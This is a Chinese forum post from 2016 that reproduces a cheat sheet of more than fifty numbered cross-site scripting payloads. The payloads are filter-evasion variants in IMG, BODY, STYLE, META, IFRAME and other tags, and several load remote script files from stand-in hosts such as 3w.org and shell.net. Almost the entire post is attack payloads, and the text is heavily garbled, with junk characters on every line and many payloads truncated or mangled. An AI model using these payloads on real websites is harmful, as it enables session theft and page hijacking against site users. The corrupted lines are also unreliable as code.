(1)普通的XSS JavaScript注入
3 v2 Z" W* l! c3 z<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>) u# x; O' q) e/ v5 b
(99)另类弹框
- l( A$ }& D x `3 p<q/oncut=alert()>1( r, n* ]" Y/ z8 ~+ ]( I
<s/onclick=alert()>b8 w6 G+ U* O. T2 S! d H
<XSS=" onclick="alert(1)//">clickme</SSX=">
: e9 {9 e3 D. J. ~" s9 i5 H <zzz onclick=alert`1`>clickme</zzz>
# f& r2 _8 P/ Z5 e0 S5 j# W <a onclick=alert`1`>clickme</a>) P0 V' ?% e4 I! }! }
<a=">clickme</a=">; Y$ f8 ~. o3 k/ u' h7 v
<a=">clickme</a>
- U6 [, h1 N7 i' m8 w3 s: k/ k<z=">clickme</z=">
k7 e8 x& }* N<z onclick=alert`1`>clickme</z>0 e% a: s0 X0 G. B
/ N. q. H8 F3 Z; Q$ E3 ~# R* d) Y(2)IMG标签XSS使用JavaScript命令
5 ]7 p1 P& G. B K<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
1 H& e [6 ~- b7 P2 ^, ]9 j3 `+ ?# X
(3)IMG标签无分号无引号: T% X& F3 H/ X+ @+ S6 A; l* L
<IMG SRC=javascript:alert(‘XSS’)>
0 Y; g/ I$ W# T' K( X! ~! B
: W8 \) k, `; e$ D- B0 y- a(4)IMG标签大小写不敏感
9 W/ N- z: ~) v9 z" Q! A- b" Z; G<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
8 R1 ?/ E1 p' T4 |- R( x7 z3 @$ b
3 F' L* ]: e6 i) E. y(5)HTML编码(必须有分号)" B* }. k. ~5 y$ J
<IMG SRC=javascript:alert(“XSS”)>
. w: l$ f7 }% @9 v y( d& p4 ~6 L- c* `% y/ s
(6)修正缺陷IMG标签
# A* ~% y+ F; g* Z) \9 N<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
2 U0 C d' n1 C$ z# f6 M$ h1 a- u2 y
(7)formCharCode标签(计算器)% t3 ?: J, f6 n
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>* M2 m7 n- O$ @) v9 X8 U
# L G! v" G8 U8 }(8)UTF-8的Unicode编码(计算器)
5 D: O+ P5 A2 i( G4 z9 d- L9 ]( t+ Y<IMG SRC=jav..省略..S')>
; i# a! \# G" n! U# _9 p, g
7 @/ |4 G; M% g( B, T(9)7位的UTF-8的Unicode编码是没有分号的(计算器), U1 S- A/ P1 e1 P/ s8 G
<IMG SRC=jav..省略..S')>0 T: G: \5 E! r9 D8 c
m" ?' l7 ~7 ? i7 Q+ e x(10)十六进制编码也是没有分号(计算器)
7 O# U- p5 L$ S Q( |' Y4 o<IMG SRC=\'#\'" /span>
9 \! z4 I2 G1 ~0 ]- w: s
# X j8 v1 x8 i x; r8 s) f(11)嵌入式标签,将Javascript分开: W! f7 N5 `3 P5 X6 O% p/ M
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>+ N Q z: ~6 F
/ A% h) n1 R4 l. [3 P% E4 F- |
(12)嵌入式编码标签,将Javascript分开
2 @% R, W) d# J( ]- Z<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>6 v5 U2 |. k& J1 i2 G& R4 Q9 E5 ?; l
/ T. N7 \ N/ f+ [" p
(13)嵌入式换行符
6 R# k8 N7 g* ^3 z' M<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
9 X- d5 Q3 ^2 `! z( N2 V6 V& u
# f* k$ Y" ]* f(14)嵌入式回车- S$ ^' a# }' [2 i4 L% E( g: `
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>7 L' e! }6 u2 [3 D
; e: h9 N( P8 x! ]
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
9 u& k/ b% w& O) A<IMG SRC=\'#\'" /span>8 P$ Q$ ]# y) Q' o8 @" [; F2 @
8 m! B( \% t+ B; I. a$ w' m
(16)解决限制字符(要求同页面)
' H$ e0 ^! J: c% k8 ], T$ a/ B' U<script>z=’document.’</script>
0 ?, W$ P- C+ m2 ~! I1 f8 E9 r7 ]<script>z=z+’write(“‘</script>0 [) c R" U" h$ C# E' X4 v( W
<script>z=z+’<script’</script>
& v; V/ u( [" D7 h% Y<script>z=z+’ src=ht’</script>
* P$ ^# A/ x2 S, \( n5 k, _: a<script>z=z+’tp://ww’</script>" `) j/ v8 V. W4 t5 T+ k
<script>z=z+’w.shell’</script>
/ d \/ R* ]3 G; Q<script>z=z+’.net/1.’</script>
) |( `6 |1 w+ X6 b# G% E1 l; }- ?<script>z=z+’js></sc’</script>% \" k7 g- s9 r/ [% H8 m
<script>z=z+’ript>”)’</script>1 f0 Q! R3 D" c$ z
<script>eval_r(z)</script>+ }/ ~3 e( y9 [; w$ R
9 p+ q5 V% ?5 ?/ m F
(17)空字符
9 G8 P7 U) M5 {8 L+ Jperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out# N; u, p7 T; j6 F8 U
T- Q3 y' ]0 R7 V1 g- {. `
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用& h& D6 T P# k: A3 B0 H: l
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out, r# R% Q+ d+ l4 Z W3 q
- g9 `' W5 i# s7 L& _
(19)Spaces和meta前的IMG标签
9 R# R" t# J; F- L0 _' i) g! j<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
9 `0 l9 E+ u4 P3 `. ]/ S; Y1 o- m S) r) T+ U. w0 Q. e
(20)Non-alpha-non-digit XSS) E6 `2 r5 u9 J' F; A( Y1 T
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>! v! N5 F. _7 G
' {" u6 t# A R" W(21)Non-alpha-non-digit XSS to 2$ K8 W# i, J6 h( e: v
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
' m* }# ~7 l7 r. N$ A% i( y5 z7 I2 {) l
(22)Non-alpha-non-digit XSS to 3
: q( Y) ~6 w' r ?<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>6 w$ q @# b4 ?3 x6 M5 Z
0 N+ J" P& U$ l, ?(23)双开括号% m$ O6 X- G. ~7 [* o$ G
<<SCRIPT>alert(“XSS”);//<</SCRIPT>, O0 |( }5 }& z$ h
v: r. z4 M5 p6 }4 h
(24)无结束脚本标记(仅火狐等浏览器)
+ y. @1 t# Z7 q<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
' w! K. o6 M5 t. {* A) e v& Y. K- _& _
(25)无结束脚本标记2
- ^6 s& m+ V: K3 R' Y7 N5 ]<SCRIPT SRC=//3w.org/XSS/xss.js>
/ ^1 o# Z3 ]: n' O- a. y( i
2 E) f0 f9 g p: {. t(26)半开的HTML/JavaScript XSS2 h# X# t0 z$ S4 t, ]
<IMG SRC=\'#\'" /span>
. [) v9 ?4 v& u8 K' r- F# u2 Q
1 [( f* p5 N0 B9 g& }(27)双开角括号
z7 n3 _% C( J" U6 W" ~* |<iframe src=http://3w.org/XSS.html <
/ s9 f9 a% g, e" [- j7 F4 S4 H' H& B& ?! Y: U3 ~
(28)无单引号 双引号 分号
" }: R7 e$ M; a. s) b/ I<SCRIPT>a=/XSS/" S4 s7 M& Z5 E" P' X
alert(a.source)</SCRIPT>+ L0 r3 V' u5 B% s( Y
6 U; Y3 G% O7 Y; Y
(29)换码过滤的JavaScript
- Z- t, I7 M8 D! o V\”;alert(‘XSS’);//
k7 B# h7 D$ [6 Y9 J4 L
8 g3 K J( x) S) G8 R(30)结束Title标签- ^) |0 }4 X0 Y7 d5 h. B) T7 z
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>3 o, ?3 a- L! Z" @2 n N; O
4 }6 t) l, Q8 {9 ~/ S- l* a5 w
(31)Input Image3 _: b, `% a# Q1 G/ J: m
<INPUT SRC=\'#\'" /span>
0 Y6 Y6 h2 q6 g( @, F
0 i8 u* g, T& ?! k/ r1 [* c/ ~# @(32)BODY Image6 D( t, U+ _& ?: q4 B
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
5 a6 O3 A# u" E, Q8 \8 Y* ], {( d* F+ _0 O% [. H; \/ s9 a A& b
(33)BODY标签
6 i8 B6 d e X6 V, y4 a, e/ V<BODY(‘XSS’)>0 z" ]* w: a9 a3 n/ k# B2 y3 y
* r6 [+ g& i) }4 |$ I7 v(34)IMG Dynsrc
+ c# q2 a3 z$ t' b+ U K0 y<IMG DYNSRC=\'#\'" /span>
5 u" j& a% n. _& }5 h w2 n! ]3 \% p$ u. P% B0 |
(35)IMG Lowsrc5 S3 i: ]# F; ?% z7 r
<IMG LOWSRC=\'#\'" /span>1 D8 c, ?) t4 W9 A
1 P) l, l4 s" ^! U: e+ R, A(36)BGSOUND2 ~! R3 u+ T" ? B2 O, _
<BGSOUND SRC=\'#\'" /span>
& y0 g, b: g8 T9 l( d
! X- B2 z; [) p8 m) I(37)STYLE sheet5 c7 h( x9 @$ l" d& X2 O
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”> S8 K2 O0 w9 \% `8 e5 K
3 y/ I0 h5 y, w6 v( ^5 q(38)远程样式表( @7 U) L- n' |9 c, k
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
- |- m9 o0 Q8 Z; A7 c0 y3 z; G3 h8 l2 s* }/ C5 v
(39)List-style-image(列表式)
# U8 h! l, y/ f4 f<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
: Q) e( }) u2 D j, F' J) J- m; G/ @/ s( C
(40)IMG VBscript
( Q5 z( B0 \* U1 j+ [; K# @* T+ b<IMG SRC=\'#\'" /STYLE><UL><LI>XSS3 q3 I8 z5 W# E3 N& I! h& G, a
, N' k( Z# ^5 R% _(41)META链接url
+ R8 s) Y3 U- W1 S% L& Q<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
" H, {; @9 X p% ]% z0 F9 ~2 G, k* w- W5 f
(42)Iframe4 t' G, B: C0 z5 q9 j* R1 l: y
<IFRAME SRC=\'#\'" /IFRAME>+ p% J6 b% R) x
# T" S! S! w& K& R# Y, U. k(43)Frame
d' _+ ]2 ?0 |: e<FRAMESET><FRAME SRC=\'#\'" /FRAMESET> h4 N( l3 ^' L: b7 W$ A! T0 l* b) i2 e
1 I9 f% B5 C5 e( ]' V/ g
(44)Table. }, J% R6 w# C+ G5 [/ g- Z
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
7 \% e& n8 _& m3 z- T* H$ V8 I8 }$ q, S. d
(45)TD
0 k' G1 C1 Q' A: l2 ?% {; Z<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
9 D5 o! x& W( Q" t8 P5 {* N! i% t+ n5 M# Y- x7 _
(46)DIV background-image
( I1 @7 `& W3 t2 ]+ U<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>% |/ G7 t% R& j9 ^# d' b- U0 @6 K' a
( |: D# J X P* u) P) w- ](47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)8 l8 M; b3 K& ?$ \+ s2 a# _
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! I, q2 R$ `) [
B) b5 p) W: V4 l+ z" o3 B" Y7 H
(48)DIV expression
: W% I- Z/ N2 N<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
$ \/ Z+ f* B) g8 U9 \5 n1 B
- H( f( \& H) ]- g(49)STYLE属性分拆表达3 D i7 ^' N. l, V) F; z0 G
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
0 a' p8 [+ W# G; g4 b- R
( {; W) |( d* w( u0 q: y(50)匿名STYLE(组成:开角号和一个字母开头)" b: J& h" v5 c3 z5 V! v4 T |
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
9 {5 y% Q4 K5 j& L5 @; s1 t9 ^; d1 q; I$ r" M J
(51)STYLE background-image" T$ C& D1 o4 [, F0 a4 e
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
( j& I9 c( l; o& ]$ D2 e: b! a2 `2 U P8 l! ]5 q& `' _
(52)IMG STYLE方式
* W" t1 Q ]- r5 c7 Fexppression(alert(“XSS”))’>& F" P8 `* Y# m6 }( Z
q9 K# e& `7 M$ w8 F1 T
(53)STYLE background/ q5 o& V. G8 h* q$ U/ j
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
! G3 ?, U! N0 R+ q# N
# N3 G0 l- H4 z0 w(54)BASE: y9 x( y# f& B: c
<BASE HREF=”javascript:alert(‘XSS’);//”>1 ~5 u1 `# } [1 ^* P& ]
' l/ Y# z4 `; P( H0 ?2 X9 _
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
; y7 d5 k$ h; ^9 m<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
3 v" k1 ?6 Q0 i' ] |
发表于 2016-4-28 10:06:15
收藏
支持
反对